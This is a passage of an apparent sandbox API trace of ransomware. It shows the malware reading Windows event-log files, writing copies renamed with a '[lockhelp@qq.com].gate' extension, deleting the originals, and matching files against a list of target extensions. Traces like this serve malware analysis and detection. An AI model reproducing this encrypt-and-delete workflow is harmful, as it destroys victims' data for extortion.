lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x134, lpOverlapped=0x0) returned 1 [0275.560] SetEndOfFile (hFile=0x380) returned 1 [0275.560] CloseHandle (hObject=0x380) returned 1 [0275.562] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.562] SetEndOfFile (hFile=0x390) returned 1 [0275.563] CloseHandle (hObject=0x390) returned 1 [0275.563] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.563] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0275.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.563] lstrlenW (lpString=".doc") returned 4 [0275.563] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.563] lstrlenW (lpString=".docx") returned 5 [0275.563] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.563] lstrlenW (lpString=".pdf") returned 4 [0275.563] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.563] lstrlenW (lpString=".xls") returned 4 [0275.563] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.563] lstrlenW (lpString=".xlsx") returned 5 [0275.563] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.564] lstrlenW (lpString=".ppt") returned 4 [0275.564] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString=".zip") returned 4 [0275.564] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".rar") returned 4 [0275.564] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".bz2") returned 4 [0275.564] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".7z") returned 3 [0275.564] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString=".dbf") returned 4 [0275.564] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString=".1cd") returned 4 [0275.564] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString=".jpg") returned 4 [0275.564] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.564] lstrlenW (lpString=".doc") returned 4 [0275.564] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".docx") returned 5 [0275.564] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.564] lstrlenW (lpString=".pdf") returned 4 [0275.564] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".xls") returned 4 [0275.564] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.564] lstrlenW (lpString=".xlsx") returned 5 [0275.564] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.564] lstrlenW (lpString=".ppt") returned 4 [0275.564] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.565] lstrlenW (lpString=".zip") returned 4 [0275.565] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString=".rar") returned 4 [0275.565] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString=".bz2") returned 4 [0275.565] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString=".7z") returned 3 [0275.565] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.565] lstrlenW (lpString=".dbf") returned 4 [0275.565] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.565] lstrlenW (lpString=".1cd") returned 4 [0275.565] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0275.565] lstrlenW (lpString=".jpg") returned 4 [0275.565] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.565] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.565] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0275.565] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.565] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.565] CloseHandle (hObject=0x390) returned 1 [0275.566] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0275.566] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.566] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.566] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.566] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.566] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.567] GetLastError () returned 0x0 [0275.567] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.618] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.620] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.620] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x12a, lpOverlapped=0x0) returned 1 [0275.620] SetEndOfFile (hFile=0x380) returned 1 [0275.620] CloseHandle (hObject=0x380) returned 1 [0275.622] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.622] SetEndOfFile (hFile=0x390) returned 1 [0275.623] CloseHandle (hObject=0x390) returned 1 [0275.623] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.623] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0275.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.623] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.623] lstrlenW (lpString=".doc") returned 4 [0275.624] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".docx") returned 5 [0275.624] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.624] lstrlenW (lpString=".pdf") returned 4 [0275.624] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".xls") returned 4 [0275.624] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".xlsx") returned 5 [0275.624] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.624] lstrlenW (lpString=".ppt") returned 4 [0275.624] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.624] lstrlenW (lpString=".zip") returned 4 [0275.624] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".rar") returned 4 [0275.624] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".bz2") returned 4 [0275.624] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString=".7z") returned 3 [0275.624] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.624] lstrlenW (lpString=".dbf") returned 4 [0275.624] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.624] lstrlenW (lpString=".1cd") returned 4 [0275.624] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.624] lstrlenW (lpString=".jpg") returned 4 [0275.624] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.625] lstrlenW (lpString=".doc") returned 4 [0275.625] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".docx") returned 5 [0275.625] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.625] lstrlenW (lpString=".pdf") returned 4 [0275.625] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".xls") returned 4 [0275.625] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".xlsx") returned 5 [0275.625] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.625] lstrlenW (lpString=".ppt") returned 4 [0275.625] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.625] lstrlenW (lpString=".zip") returned 4 [0275.625] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".rar") returned 4 [0275.625] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".bz2") returned 4 [0275.625] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.625] lstrlenW (lpString=".7z") returned 3 [0275.625] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.625] lstrlenW (lpString=".dbf") returned 4 [0275.626] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.626] lstrlenW (lpString=".1cd") returned 4 [0275.626] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.626] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0275.626] lstrlenW (lpString=".jpg") returned 4 [0275.626] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.626] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.626] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49 [0275.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.627] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.627] CloseHandle (hObject=0x390) returned 1 [0275.627] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0275.627] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.627] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.627] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.627] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.627] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.628] GetLastError () returned 0x0 [0275.628] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.668] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.670] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.670] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x136, lpOverlapped=0x0) returned 1 [0275.670] SetEndOfFile (hFile=0x380) returned 1 [0275.670] CloseHandle (hObject=0x380) returned 1 [0275.672] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.672] SetEndOfFile (hFile=0x390) returned 1 [0275.673] CloseHandle (hObject=0x390) returned 1 [0275.673] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.673] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1 [0275.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.673] lstrlenW (lpString=".doc") returned 4 [0275.673] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.673] lstrlenW (lpString=".docx") returned 5 [0275.673] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.674] lstrlenW (lpString=".pdf") returned 4 [0275.674] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".xls") returned 4 [0275.674] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".xlsx") returned 5 [0275.674] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.674] lstrlenW (lpString=".ppt") returned 4 [0275.674] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString=".zip") returned 4 [0275.674] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".rar") returned 4 [0275.674] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".bz2") returned 4 [0275.674] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".7z") returned 3 [0275.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString=".dbf") returned 4 [0275.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString=".1cd") returned 4 [0275.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString=".jpg") returned 4 [0275.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.674] lstrlenW (lpString=".doc") returned 4 [0275.674] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.674] lstrlenW (lpString=".docx") returned 5 [0275.674] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.674] lstrlenW (lpString=".pdf") returned 4 [0275.675] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString=".xls") returned 4 [0275.675] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString=".xlsx") returned 5 [0275.675] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.675] lstrlenW (lpString=".ppt") returned 4 [0275.675] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.675] lstrlenW (lpString=".zip") returned 4 [0275.675] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString=".rar") returned 4 [0275.675] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString=".bz2") returned 4 [0275.675] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString=".7z") returned 3 [0275.675] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.675] lstrlenW (lpString=".dbf") returned 4 [0275.675] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.675] lstrlenW (lpString=".1cd") returned 4 [0275.675] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0275.675] lstrlenW (lpString=".jpg") returned 4 [0275.675] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.675] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.675] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59 [0275.675] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.676] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=69632) returned 1 [0275.676] CloseHandle (hObject=0x390) returned 1 [0275.676] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0275.676] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.676] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0275.676] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.676] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.676] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0275.676] GetLastError () returned 0x0 [0275.676] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.761] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.763] ReadFile (in: hFile=0x390, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.763] WriteFile (in: hFile=0x380, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x14a, lpOverlapped=0x0) returned 1 [0275.763] SetEndOfFile (hFile=0x380) returned 1 [0275.763] CloseHandle (hObject=0x380) returned 1 [0275.765] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.765] SetEndOfFile (hFile=0x390) returned 1 [0275.766] CloseHandle (hObject=0x390) returned 1 [0275.766] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.766] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1 [0275.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67 [0275.766] lstrlenW (lpString=".doc") returned 4 [0275.766] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".docx") returned 5 [0275.767] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.767] lstrlenW (lpString=".pdf") returned 4 [0275.767] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.767] lstrlenW (lpString=".xls") returned 4 [0275.767] lstrcmpiW (lpString1=".xls", 